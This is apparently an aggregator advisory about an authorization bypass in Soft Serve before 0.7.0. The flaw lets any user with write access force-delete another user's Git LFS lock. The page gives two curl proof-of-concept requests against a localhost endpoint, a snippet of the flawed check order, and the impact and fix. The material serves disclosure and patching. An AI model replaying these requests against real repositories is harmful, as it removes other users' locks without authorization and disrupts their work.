Listen to this Post
The vulnerability exists in the `serviceLfsLocksDelete` function within pkg/web/git_lfs.go. When an authenticated user sends a DELETE request to the LFS unlock endpoint with the `force` parameter set to true, the code path executes prematurely. The condition `if req.Force` is evaluated (line 905) before the user context is retrieved via `proto.UserFromContext(ctx)` (line 919). If the force flag is present, the function calls `datastore.DeleteLFSLock` and returns a success response without performing any ownership or authorization checks. This allows any user with write access to the repository to delete any existing lock, bypassing the intended validation that should ensure only the lock owner or an administrator can perform a force deletion.
Platform: Soft Serve
Version: < 0.7.0
Vulnerability: Authorization Bypass
Severity: Medium
date: 2024-03-28
Prediction: 2024-04-11 Patch
What Undercode Say:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks \
-H "Authorization: Basic <user_a_token>" \
-d '{"path": "file.bin"}'
curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \
-H "Authorization: Basic <user_b_token>" \
-d '{"force": true}'
if req.Force {
// Vulnerable deletion code
return // Early exit
}
user := proto.UserFromContext(ctx) // Check happens too late
How Exploit:
Attacker with repository write access sends a forced unlock request for any lock ID, bypassing ownership checks and receiving a 200 OK response instead of the expected 403 Forbidden.
Protection from this CVE:
Move user context retrieval and admin check before processing the `force` flag. Implement proper authorization validation for force delete operations.
Impact:
Unauthorized lock deletion disrupts collaborative LFS workflows. Attackers can bypass file coordination mechanisms but cannot access files or escalate permissions beyond their existing write access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
